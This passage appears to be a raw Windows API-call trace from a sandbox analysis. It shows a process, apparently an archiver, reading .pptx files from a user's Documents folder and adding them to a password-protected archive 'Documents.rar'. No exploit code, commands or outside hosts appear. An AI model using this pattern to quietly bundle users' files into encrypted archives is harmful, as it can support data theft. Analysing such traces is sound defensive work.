wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.658] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.658] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65560 [0068.658] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65590 [0068.658] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65590, Size=0x48) returned 0x39db40 [0068.658] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.658] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65590 [0068.658] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65590, Size=0x48) returned 0x39daf0 [0068.658] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.658] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.658] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65590 [0068.658] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b655c0 [0068.658] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b655c0 | out: hHeap=0x2e0000) returned 1 [0068.658] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65590 | out: hHeap=0x2e0000) returned 1 [0068.658] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65560, Size=0x48) returned 0x39db40 [0068.658] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.658] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.658] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.660] GetTickCount () returned 0xa67735 [0068.660] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14400028047) returned 1 [0068.660] GetTickCount () returned 0xa67735 [0068.660] GetTickCount () returned 0xa67735 [0068.660] GetTickCount () returned 0xa67735 [0068.660] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.660] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.660] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.660] ResetEvent (hEvent=0x1a4) returned 1 [0068.660] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.662] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.662] ResetEvent (hEvent=0x1a4) returned 1 [0068.662] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.666] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.666] ResetEvent (hEvent=0x1a4) returned 1 [0068.666] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.669] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.669] GetTickCount () returned 0xa67744 [0068.669] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14400931663) returned 1 [0068.669] GetTickCount () returned 0xa67744 [0068.669] GetTickCount () returned 0xa67744 [0068.669] GetTickCount () returned 0xa67744 [0068.669] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.669] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.669] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.669] ResetEvent (hEvent=0x190) returned 1 [0068.669] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.670] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.670] ResetEvent (hEvent=0x190) returned 1 [0068.670] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.670] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.670] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.670] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.670] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x2ed05e [0068.671] SetFilePointer (in: hFile=0x198, lDistanceToMove=94, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x2ed0bc [0068.671] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.671] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.671] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.671] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.671] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x17e10, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x17e10, lpOverlapped=0x0) returned 1 [0068.675] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.675] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.675] SetFilePointer (in: hFile=0x198, lDistanceToMove=3067998, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x2ed05e [0068.675] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x2ed05e [0068.675] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65560 [0068.675] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65590 [0068.675] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65590, Size=0x48) returned 0x39daf0 [0068.675] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.675] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65590 [0068.675] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65590, Size=0x48) returned 0x39db40 [0068.675] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.675] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.675] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65590 [0068.675] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b655c0 [0068.676] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b655c0 | out: hHeap=0x2e0000) returned 1 [0068.676] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65590 | out: hHeap=0x2e0000) returned 1 [0068.676] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65560, Size=0x48) returned 0x39daf0 [0068.676] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.676] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x5e, lpOverlapped=0x0) returned 1 [0068.676] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65560 [0068.676] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x5e) returned 0x3b64bb0 [0068.676] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.676] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.676] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x304ecc [0068.676] CloseHandle (hObject=0x1b0) returned 1 [0068.676] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.676] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.676] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.676] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.676] FindFirstFileW (in: lpFileName="t8SaG24LSbJT7XFl.pptx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.677] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.677] CreateFileW (lpFileName="t8SaG24LSbJT7XFl.pptx" (normalized: "c:\\users\\whuoxysd\\documents\\t8sag24lsbjt7xfl.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.677] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.677] GetTickCount () returned 0xa67744 [0068.677] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.677] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.677] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.677] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.677] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="s_UnG.docx") returned 10 [0068.677] SetWindowTextW (hWnd=0x10280, lpString="t8SaG24LSbJT7XFl.pptx") returned 1 [0068.677] GetTickCount () returned 0xa67744 [0068.677] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.677] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.678] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.678] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.680] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x124)) [0068.680] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.680] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14402022031) returned 1 [0068.680] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0xa311, lpOverlapped=0x0) returned 1 [0068.681] ReadFile (in: hFile=0x1b0, lpBuffer=0x36aa351, nNumberOfBytesToRead=0xf5cef, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36aa351*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.681] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 1 [0068.681] GetMessageW (in: lpMsg=0x1cd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd790) returned 1 [0068.681] GetFocus () returned 0x0 [0068.681] TranslateMessage (lpMsg=0x1cd790) returned 0 [0068.681] DispatchMessageW (lpMsg=0x1cd790) returned 0x0 [0068.681] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.681] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65590 [0068.681] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b655c0 [0068.681] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b655c0, Size=0x48) returned 0x39db40 [0068.681] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.681] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b655c0 [0068.681] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b655c0, Size=0x48) returned 0x39daf0 [0068.681] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.681] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.681] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b655c0 [0068.681] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b655f0 [0068.681] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b655f0 | out: hHeap=0x2e0000) returned 1 [0068.681] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b655c0 | out: hHeap=0x2e0000) returned 1 [0068.681] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65590, Size=0x48) returned 0x39db40 [0068.681] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.681] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.681] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.684] GetTickCount () returned 0xa67754 [0068.684] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14402460060) returned 1 [0068.684] GetTickCount () returned 0xa67754 [0068.684] GetTickCount () returned 0xa67754 [0068.684] GetTickCount () returned 0xa67754 [0068.684] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.684] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.684] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.685] ResetEvent (hEvent=0x1a4) returned 1 [0068.685] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.687] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.687] ResetEvent (hEvent=0x1a4) returned 1 [0068.687] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.688] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.689] GetTickCount () returned 0xa67754 [0068.689] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14402905405) returned 1 [0068.689] GetTickCount () returned 0xa67754 [0068.689] GetTickCount () returned 0xa67754 [0068.689] GetTickCount () returned 0xa67754 [0068.689] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.689] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.689] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.689] ResetEvent (hEvent=0x190) returned 1 [0068.689] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.689] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.689] ResetEvent (hEvent=0x190) returned 1 [0068.689] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.690] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.690] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.690] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.690] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x304ecc [0068.690] SetFilePointer (in: hFile=0x198, lDistanceToMove=105, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x304f35 [0068.690] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.690] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.690] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.690] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.690] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0xa370, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0xa370, lpOverlapped=0x0) returned 1 [0068.691] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.691] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.691] SetFilePointer (in: hFile=0x198, lDistanceToMove=3165900, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x304ecc [0068.691] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x304ecc [0068.691] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65590 [0068.691] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b655c0 [0068.691] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b655c0, Size=0x48) returned 0x39daf0 [0068.691] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.691] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b655c0 [0068.691] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b655c0, Size=0x48) returned 0x39db40 [0068.691] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.691] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.691] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b655c0 [0068.691] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b655f0 [0068.691] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b655f0 | out: hHeap=0x2e0000) returned 1 [0068.691] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b655c0 | out: hHeap=0x2e0000) returned 1 [0068.691] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65590, Size=0x48) returned 0x39daf0 [0068.691] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.691] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x69, lpOverlapped=0x0) returned 1 [0068.691] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65590 [0068.691] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x69) returned 0x3b4c210 [0068.691] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.691] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.691] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x30f2a5 [0068.691] CloseHandle (hObject=0x1b0) returned 1 [0068.692] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.692] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.692] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.692] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.692] FindFirstFileW (in: lpFileName="TM7LU.pptx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.692] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.692] CreateFileW (lpFileName="TM7LU.pptx" (normalized: "c:\\users\\whuoxysd\\documents\\tm7lu.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.692] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.692] GetTickCount () returned 0xa67754 [0068.692] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.692] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.692] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.692] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.692] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="t8SaG24LSbJT7XFl.pptx") returned 21 [0068.692] SetWindowTextW (hWnd=0x10280, lpString="TM7LU.pptx") returned 1 [0068.692] GetTickCount () returned 0xa67754 [0068.692] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.692] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.693] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.693] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.693] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x12e)) [0068.693] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.693] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14403577388) returned 1 [0068.696] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x68f6, lpOverlapped=0x0) returned 1 [0068.696] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a6936, nNumberOfBytesToRead=0xf970a, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a6936*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.696] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b655c0 [0068.696] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b655f0 [0068.696] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b655f0, Size=0x48) returned 